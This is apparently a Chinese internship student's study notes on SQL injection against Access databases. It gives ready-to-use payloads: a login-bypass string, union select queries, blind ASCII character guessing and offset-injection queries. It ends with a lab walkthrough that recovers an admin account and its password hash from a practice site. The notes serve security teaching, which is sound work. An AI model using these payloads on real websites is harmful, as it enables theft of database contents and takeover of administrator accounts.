粤嵌科技毕业实习Day8
粤嵌科技毕业实习Day8
Sql注入攻击
- SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。
SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。
-
三层架构(3-tier architecture) 通常意义上的三层架构就是将整个业务应用划分为:界面层(User Interfacelayer)、业务逻辑层(Business Logic Layer)、数据访问层(Data access layer)
- 从下至上分别为:数据访问层、业务逻辑层(又或称为领域层)、表示层/界面层。
- 数据访问层:数据访问层在作业过程中访问数据系统中的文件,实现对数据库中数据的读取保存操作。
- 业务逻辑层:将用户的输入信息进行甄别处理,分别保存。建立新的数据存储方式,在存储过程中对数据进行读取,将“商业逻辑”描述代码进行包含。
- 表示层:主要功能是显示数据和接受传输用户的数据,可以在为网站的系统运行提供交互式操作界面,表示层的应用方式比较常见,例如Windows窗体和Web页面。
-
从图中可知
- 当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
- Web服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
- 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
- 也就是说把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串最终达到欺骗服务器执行恶意的SQL命令,当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.
-
SQL注入攻击的简单示例:
假如我们有一个users表,里面有两个字段admin和password。如果我们用sql拼接的方式进行用户验证。 "select id from users where username = '"+admin +"' and password = '" + password +"'" 这里的admin和password都是我们存取从web表单获得的数据。 那么如果我们在表单中username的输入框中输入' or 1=1-- ,password的表单中随便输入一些东西,假如这里输入123.此时我们所要执行的sql语句就变成了 select id from users where admin = '' or 1=1-- and password = '123' 我们来看一下这个sql,因为1=1是true,后面 and password = '123'被注释掉了。所以这里完全跳过了sql验证。
-
SQL注入的危害:
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
-
Access数据库
- access数据库后缀名位*.mdb。
- 以它自己的格式将数据存储在基于Access Jet的数据库引擎里。
- 它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
- ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象。
- 缺陷
- 数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!
- 容易出现各种因数据库刷写频率过快而引起的数据库问题。
- ACCESS数据库安全性比不上其他类型的数据库。
- 论坛大了以后就很容易出现数据库慢的情况。
-
SQL注入攻击步骤
-
判断注入点(判断有没有带入查询)
‘、-0、and 1=1、and 1=2、or 1=1、or 1=2 # 如果带入查询了,说明有注入漏洞
-
判断数据库类型
and exsits (select * from msysobjects) >0 # 判断access and exsits (select * from sysobjects) >0 # 判断SQL server)
-
判断数据库表名
and exists (select * from admin) # 如果不存在admin表,可以试试user或者useradmin
-
判断数据库列名
and exists (select admin from admin)
-
判断字段长度
order by 20
-
判断
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
-
数据库联合查询
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin
-
拓展
# 判断账户密码的长度 and (select len(admin) from admin)=5 # 如果返回正常说明管理员账户的长度为5 and (select len(password) from admin)=5 # 猜解管理密码长度是否为5 # asc()函数:返回与字符串的第一个字母对应的ASCII码 # mid()函数:函数原型为,可以使用它从字符串返回指定数量的字符。 # Mid(string,start,length)从string字符串的start字符开始取得length长度的字符串 # 如mid("abcdefg",1,3) ——>"abc",mid("abcdefg",4,2) ——>"de" # 猜解管理员账号的第一个数据 # 通过判断ascii码来判断 and (select top 1 asc(mid(admin,1,1)) from admin)>100 # 返回正常说明大于,不正常说明不大于 and (select top 1 asc(mid(admin,1,1)) from admin)>50 # 返回正常说明大于 and (select top 1 asc(mid(admin,1,1)) from admin)=97 # 返回正常说明等于97 97对应的字母为a # 以此类推 # 判断管理员账户的第二数据 and (select top 1 asc(mid(admin,2,1)) from admin)>100 # 返回正常说明大于,不正常说明不大于 # 第三个 and (select top 1 asc(mid(admin,3,1)) from admin)>100 # 返回正常说明大于,不正常说明不大于 # 判断管理员密码的第一个数据 and (select top 1 asc(mid(password,1,1)) from admin)>100 # 返回正常说明大于,不正常说明不大于
-
-
偏移注入
-
适用于知道表名,不知道列名的情况
-
方法
-
(一)
1.查出表名,后order by 2.用*一直往前减,假设有38一直减到27回显正常,那么38-27=11 union select 1-27,* from admin (条件:admin表的字段数少于注入点表字段数的一半)才有机会继续 3.查数据 union select 1-16,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)如果报错把a.id和b.id删除 4.继续爆数据 union select 1-4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
-
(二)
1.判断admin表的字段数 union select 1-22 from (select * from admin order by 6) 知道有6个字段 或union select 1-16,* from admin同样知道为6 2. union select 1,a,3-22 from (select 1 as a,2 as b,3 as c,4 as d,5 as e,6 as f from admin where 1=2 union select * from admin) 这里的2号位是显示位,切换成b,c……查其他
-
-
access注入
一、联合查询注入
0、打开任意一个产品
1、在后面添加“-0”、“-1”、“-2”,可以发现是带入查询的,说明有注入漏洞。
2、判断是否为access数据库。
没有读取权限,说明使用的是access数据库。
3、判断是否为SQL server。
找不到输出表,说明不是使用SQL server。
4、判断数据库表名
可见存在admin表。
5、判断数据库列名
可见存在。
6、判断字段长度
可见有22个字段。
7、判断
8、数据库联合查询
把3替换成admin,把15替换成password。
使用MD5解密,得到账号密码。
二、逐字猜解法
1、判断账户的长度
可知账户长度为5.
2、判断密码长度
可知密码长度为16.
3、通过ascii码猜解管理员账号的第一个数据
可知账号的第一个数据的ascii码<100.
可知账号的第一个数据的ascii码>50。
经过不断缩小区间,确认为97,对应的字符是小写字母a.
反复试验,最终确认账户为admin,同理,最终确认密码为a48e190fafc257d3。
三、偏移注入(适用于知道表名,不知道列名的情况)
1、判断数据库表名
可见存在admin表。
2、判断字段长度
可见有22个字段。
3、union select 1-22,* from admin
重复执行这条指令,每执行一次,把*前的数字往前减一个
4、执行到1-16时回显正常,那么22-16=6,说明admin表有6个字段。
5、末尾加UNION SELECT 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)查数据,得到账号。
6、末尾加UNION SELECT 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)查数据,得到密文密码。
最终确认账户为admin,密码为a48e190fafc257d3。
本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13693733.html